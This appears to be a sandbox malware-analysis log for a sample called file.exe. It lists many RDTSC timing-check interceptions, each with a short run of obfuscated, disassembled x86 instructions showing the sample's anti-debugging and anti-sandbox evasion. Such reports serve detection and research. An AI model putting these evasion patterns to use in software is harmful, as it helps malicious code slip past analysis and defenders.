Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC16C7 second address: FC16CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC16CF second address: FC16D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC09F8 second address: FC0A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 jmp 00007F60C4BB540Bh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov ebx, edi 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c add ebx, dword ptr [ebp+122D3659h] 0x00000022 push esi 0x00000023 mov edi, ecx 0x00000025 pop ebx 0x00000026 mov eax, dword ptr [ebp+122D172Dh] 0x0000002c mov dword ptr [ebp+122D24BCh], esi 0x00000032 push FFFFFFFFh 0x00000034 xor dword ptr [ebp+122D17F1h], ebx 0x0000003a push eax 0x0000003b push ecx 0x0000003c js 00007F60C4BB540Ch 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC278B second address: FC278F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC278F second address: FC279C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC279C second address: FC27A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1856 second address: FC1860 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F60C4BB540Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27A0 second address: FC27AA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F60C4EB3776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC27AA second address: FC2827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5416h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F60C4BB5408h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D275Ah], esi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F60C4BB5408h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov dword ptr [ebp+1245768Bh], esi 0x0000004c push 00000000h 0x0000004e mov edi, dword ptr [ebp+122DB60Ah] 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2827 second address: FC2835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2835 second address: FC283C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2A08 second address: FC2A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2A0E second address: FC2A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC2A12 second address: FC2AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F60C4EB3778h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 pushad 0x00000024 sub eax, 2483406Fh 0x0000002a sub dword ptr [ebp+122D1BD9h], edi 0x00000030 popad 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr [ebp+12474CBDh], ecx 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 add bx, 958Ch 0x0000004a mov eax, dword ptr [ebp+122D0C91h] 0x00000050 mov bl, C8h 0x00000052 push FFFFFFFFh 0x00000054 jng 00007F60C4EB3779h 0x0000005a mov dword ptr [ebp+122D2E73h], edi 0x00000060 nop 0x00000061 jmp 00007F60C4EB377Ch 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a pushad 0x0000006b popad 0x0000006c jmp 00007F60C4EB3788h 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6E24 second address: FC6E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F60C4BB5408h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 sub edi, dword ptr [ebp+122D36BDh] 0x0000002b push 00000000h 0x0000002d jc 00007F60C4BB540Ch 0x00000033 sub dword ptr [ebp+122D2FEBh], ebx 0x00000039 push eax 0x0000003a jnp 00007F60C4BB5414h 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5F74 second address: FC5F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5F7A second address: FC5F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5F80 second address: FC5FFC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F60C4EB3778h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 jmp 00007F60C4EB3786h 0x0000002a push dword ptr fs:[00000000h] 0x00000031 pushad 0x00000032 cld 0x00000033 and bl, FFFFFF95h 0x00000036 popad 0x00000037 mov dword ptr [ebp+12448962h], edx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov eax, dword ptr [ebp+122D161Dh] 0x0000004a push FFFFFFFFh 0x0000004c mov dword ptr [ebp+12447487h], eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F60C4EB377Fh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC5FFC second address: FC6006 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F60C4BB5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC6006 second address: FC600C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC600C second address: FC6010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7E09 second address: FC7E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7E0D second address: FC7E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7E13 second address: FC7E21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7E21 second address: FC7E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8DCE second address: FC8DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8DD2 second address: FC8DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC907A second address: FC9089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F60C4EB3776h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9089 second address: FC908D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBEFA second address: FCBF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F60C4EB3778h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 jmp 00007F60C4EB377Bh 0x00000025 push edx 0x00000026 pop edi 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov ebx, dword ptr [ebp+1244FF76h] 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b jmp 00007F60C4EB3788h 0x00000040 mov eax, dword ptr [ebp+122D001Dh] 0x00000046 xor ebx, dword ptr [ebp+122D35CDh] 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push ebx 0x00000051 call 00007F60C4EB3778h 0x00000056 pop ebx 0x00000057 mov dword ptr [esp+04h], ebx 0x0000005b add dword ptr [esp+04h], 0000001Bh 0x00000063 inc ebx 0x00000064 push ebx 0x00000065 ret 0x00000066 pop ebx 0x00000067 ret 0x00000068 push ecx 0x00000069 jmp 00007F60C4EB377Dh 0x0000006e pop edi 0x0000006f nop 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCBF9F second address: FCBFB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDDC7 second address: FCDDD0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCF73 second address: FCCF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCCF77 second address: FCCF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD02F second address: FCD033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD033 second address: FCD039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDF2D second address: FCDF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDF32 second address: FCDF75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4EB3789h 0x00000008 jmp 00007F60C4EB3789h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 jnp 00007F60C4EB3776h 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCDF75 second address: FCE01D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F60C4BB5418h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F60C4BB5408h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D20C9h], edi 0x0000002e push dword ptr fs:[00000000h] 0x00000035 jno 00007F60C4BB540Ah 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F60C4BB5408h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 00000017h 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c mov edi, esi 0x0000005e mov eax, dword ptr [ebp+122D140Dh] 0x00000064 or dword ptr [ebp+122D30E3h], ecx 0x0000006a push FFFFFFFFh 0x0000006c mov edi, 6F3DFA5Dh 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 js 00007F60C4BB5406h 0x0000007b jns 00007F60C4BB5406h 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE01D second address: FCE03B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F60C4EB3778h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE03B second address: FCE041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE041 second address: FCE045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5B43 second address: FD5B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F60C4BB540Eh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5248 second address: FD5290 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F60C4EB377Ah 0x0000000c pushad 0x0000000d jg 00007F60C4EB3776h 0x00000013 jmp 00007F60C4EB3789h 0x00000018 jmp 00007F60C4EB3781h 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5290 second address: FD5294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD53F8 second address: FD53FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9BB2 second address: FD9BB8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9DF6 second address: FD9DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE639 second address: FDE669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5419h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F60C4BB540Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE669 second address: FDE66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE66F second address: FDE679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE679 second address: FDE68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F60C4EB3776h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE68D second address: FDE697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE697 second address: FDE6A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F60C4EB3776h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDE6A6 second address: FDE6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEC31 second address: FDEC37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEC37 second address: FDEC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDED7A second address: FDED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDED7E second address: FDED8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F60C4BB5406h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDED8C second address: FDEDA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60C4EB3783h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDA7 second address: FDEDCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F60C4BB5406h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDCC second address: FDEDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDD0 second address: FDEDD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEDD4 second address: FDEDDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF48 second address: FDEF52 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60C4BB5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF52 second address: FDEF70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F60C4EB3784h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF70 second address: FDEF96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F60C4BB5419h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEF96 second address: FDEFB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3787h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEFB1 second address: FDEFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEFBD second address: FDEFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDEFC1 second address: FDEFF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5417h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F60C4BB540Eh 0x00000010 jbe 00007F60C4BB5406h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF143 second address: FDF149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF3E2 second address: FDF3EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF3EE second address: FDF3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF3F2 second address: FDF3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF3F6 second address: FDF40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F60C4EB379Dh 0x0000000e pushad 0x0000000f jnl 00007F60C4EB3776h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF6B3 second address: FDF718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB540Eh 0x00000007 push edi 0x00000008 jmp 00007F60C4BB5419h 0x0000000d jmp 00007F60C4BB5413h 0x00000012 pop edi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007F60C4BB540Ah 0x0000001d jmp 00007F60C4BB5419h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF718 second address: FDF72E instructions: 0x00000000 rdtsc 0x00000002 je 00007F60C4EB377Ch 0x00000008 jl 00007F60C4EB378Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8A2 second address: FDF8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F60C4BB5418h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8BF second address: FDF8D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4EB377Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8D0 second address: FDF8D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF8D4 second address: FDF8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
